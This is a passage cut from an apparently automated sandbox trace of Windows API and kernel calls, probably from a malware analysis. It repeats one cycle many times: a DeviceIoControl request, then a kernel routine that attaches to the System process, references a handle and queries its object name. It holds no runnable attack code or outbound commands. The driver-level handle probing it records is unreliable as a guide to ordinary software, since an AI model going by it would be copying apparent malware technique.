ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.460] ObfDereferenceObject (Object=0xfffffa80021194c0) returned 0x2 [0119.460] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.460] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0119.460] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.460] PsAcquireProcessExitSynchronization () returned 0x0 [0119.460] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.460] ObReferenceObjectByHandle (in: Handle=0xffffffff80000584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003141e60, HandleInformation=0x0) returned 0x0 [0119.460] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.460] PsReleaseProcessExitSynchronization () returned 0x2 [0119.460] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.460] ObQueryNameString (in: Object=0xfffffa8003141e60, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.460] ObfDereferenceObject (Object=0xfffffa8003141e60) returned 0x1 [0119.460] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.460] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.460] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.460] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.460] PsAcquireProcessExitSynchronization () returned 0x0 [0119.460] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.460] ObReferenceObjectByHandle (in: Handle=0xffffffff8000058c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021201f0, HandleInformation=0x0) returned 0x0 [0119.460] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.460] PsReleaseProcessExitSynchronization () returned 0x2 [0119.460] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.460] ObQueryNameString (in: Object=0xfffffa80021201f0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.461] ObfDereferenceObject (Object=0xfffffa80021201f0) returned 0x2 [0119.461] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.461] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.461] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.461] PsAcquireProcessExitSynchronization () returned 0x0 [0119.461] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.461] ObReferenceObjectByHandle (in: Handle=0xffffffff80000590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a42ab0, HandleInformation=0x0) returned 0x0 [0119.461] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.461] PsReleaseProcessExitSynchronization () returned 0x2 [0119.461] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.461] ObQueryNameString (in: Object=0xfffffa8001a42ab0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.461] ObfDereferenceObject (Object=0xfffffa8001a42ab0) returned 0x2 [0119.461] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.461] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.461] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.461] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.461] PsAcquireProcessExitSynchronization () returned 0x0 [0119.461] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.461] ObReferenceObjectByHandle (in: Handle=0xffffffff800005a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002253c20, HandleInformation=0x0) returned 0x0 [0119.461] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.461] PsReleaseProcessExitSynchronization () returned 0x2 [0119.461] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.461] ObQueryNameString (in: Object=0xfffffa8002253c20, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.461] ObfDereferenceObject (Object=0xfffffa8002253c20) returned 0x2 [0119.461] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.462] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.462] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.462] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.462] PsAcquireProcessExitSynchronization () returned 0x0 [0119.462] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.462] ObReferenceObjectByHandle (in: Handle=0xffffffff800005ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002156790, HandleInformation=0x0) returned 0x0 [0119.462] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.462] PsReleaseProcessExitSynchronization () returned 0x2 [0119.462] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.462] ObQueryNameString (in: Object=0xfffffa8002156790, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.462] ObfDereferenceObject (Object=0xfffffa8002156790) returned 0x2 [0119.462] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.462] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.462] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.462] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.462] PsAcquireProcessExitSynchronization () returned 0x0 [0119.462] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.462] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a472d0, HandleInformation=0x0) returned 0x0 [0119.462] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.462] PsReleaseProcessExitSynchronization () returned 0x2 [0119.462] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.462] ObQueryNameString (in: Object=0xfffffa8001a472d0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.462] ObfDereferenceObject (Object=0xfffffa8001a472d0) returned 0x2 [0119.462] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.462] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.462] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.462] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.462] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.462] PsAcquireProcessExitSynchronization () returned 0x0 [0119.462] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.463] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800a9fe050, HandleInformation=0x0) returned 0x0 [0119.463] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.463] PsReleaseProcessExitSynchronization () returned 0x2 [0119.463] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.463] ObQueryNameString (in: Object=0xfffffa800a9fe050, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.463] ObfDereferenceObject (Object=0xfffffa800a9fe050) returned 0x2 [0119.463] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.463] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.463] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.463] PsAcquireProcessExitSynchronization () returned 0x0 [0119.463] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.463] ObReferenceObjectByHandle (in: Handle=0xffffffff800005c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f92f20, HandleInformation=0x0) returned 0x0 [0119.463] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.463] PsReleaseProcessExitSynchronization () returned 0x2 [0119.463] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.463] ObQueryNameString (in: Object=0xfffffa8001f92f20, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.463] ObfDereferenceObject (Object=0xfffffa8001f92f20) returned 0x2 [0119.463] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.463] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.463] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.463] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.463] PsAcquireProcessExitSynchronization () returned 0x0 [0119.463] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.463] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003bb8b60, HandleInformation=0x0) returned 0x0 [0119.463] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.463] PsReleaseProcessExitSynchronization () returned 0x2 [0119.463] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.463] ObQueryNameString (in: Object=0xfffffa8003bb8b60, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.464] ObfDereferenceObject (Object=0xfffffa8003bb8b60) returned 0x2 [0119.464] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.464] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.464] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.464] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0119.464] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.464] PsAcquireProcessExitSynchronization () returned 0x0 [0119.464] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.464] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020863b0, HandleInformation=0x0) returned 0x0 [0119.464] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.464] PsReleaseProcessExitSynchronization () returned 0x2 [0119.464] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.464] ObQueryNameString (in: Object=0xfffffa80020863b0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.464] ObfDereferenceObject (Object=0xfffffa80020863b0) returned 0x2 [0119.464] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.464] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.464] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.464] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.464] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.464] PsAcquireProcessExitSynchronization () returned 0x0 [0119.464] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.464] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800e5cc050, HandleInformation=0x0) returned 0x0 [0119.464] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.464] PsReleaseProcessExitSynchronization () returned 0x2 [0119.464] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.464] ObQueryNameString (in: Object=0xfffffa800e5cc050, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.464] ObfDereferenceObject (Object=0xfffffa800e5cc050) returned 0x2 [0119.464] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.465] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.465] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.465] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.465] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.465] PsAcquireProcessExitSynchronization () returned 0x0 [0119.465] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.465] ObReferenceObjectByHandle (in: Handle=0xffffffff800005e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800248f050, HandleInformation=0x0) returned 0x0 [0119.465] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.465] PsReleaseProcessExitSynchronization () returned 0x2 [0119.465] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.465] ObQueryNameString (in: Object=0xfffffa800248f050, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.465] ObfDereferenceObject (Object=0xfffffa800248f050) returned 0x2 [0119.465] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.554] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.554] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.554] PsAcquireProcessExitSynchronization () returned 0x0 [0119.554] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.554] ObReferenceObjectByHandle (in: Handle=0xffffffff800005e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002672430, HandleInformation=0x0) returned 0x0 [0119.554] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.554] PsReleaseProcessExitSynchronization () returned 0x2 [0119.554] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.554] ObQueryNameString (in: Object=0xfffffa8002672430, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.554] ObfDereferenceObject (Object=0xfffffa8002672430) returned 0x2 [0119.554] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.554] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.554] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.554] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.554] PsAcquireProcessExitSynchronization () returned 0x0 [0119.554] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.554] ObReferenceObjectByHandle (in: Handle=0xffffffff800005f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003311f20, HandleInformation=0x0) returned 0x0 [0119.554] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.554] PsReleaseProcessExitSynchronization () returned 0x2 [0119.554] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.554] ObQueryNameString (in: Object=0xfffffa8003311f20, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.554] ObfDereferenceObject (Object=0xfffffa8003311f20) returned 0x2 [0119.554] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.555] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.555] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.555] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.555] PsAcquireProcessExitSynchronization () returned 0x0 [0119.555] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.555] ObReferenceObjectByHandle (in: Handle=0xffffffff800005f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003312b70, HandleInformation=0x0) returned 0x0 [0119.555] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.555] PsReleaseProcessExitSynchronization () returned 0x2 [0119.555] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.555] ObQueryNameString (in: Object=0xfffffa8003312b70, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.555] ObfDereferenceObject (Object=0xfffffa8003312b70) returned 0x2 [0119.555] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.555] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.555] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.555] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, 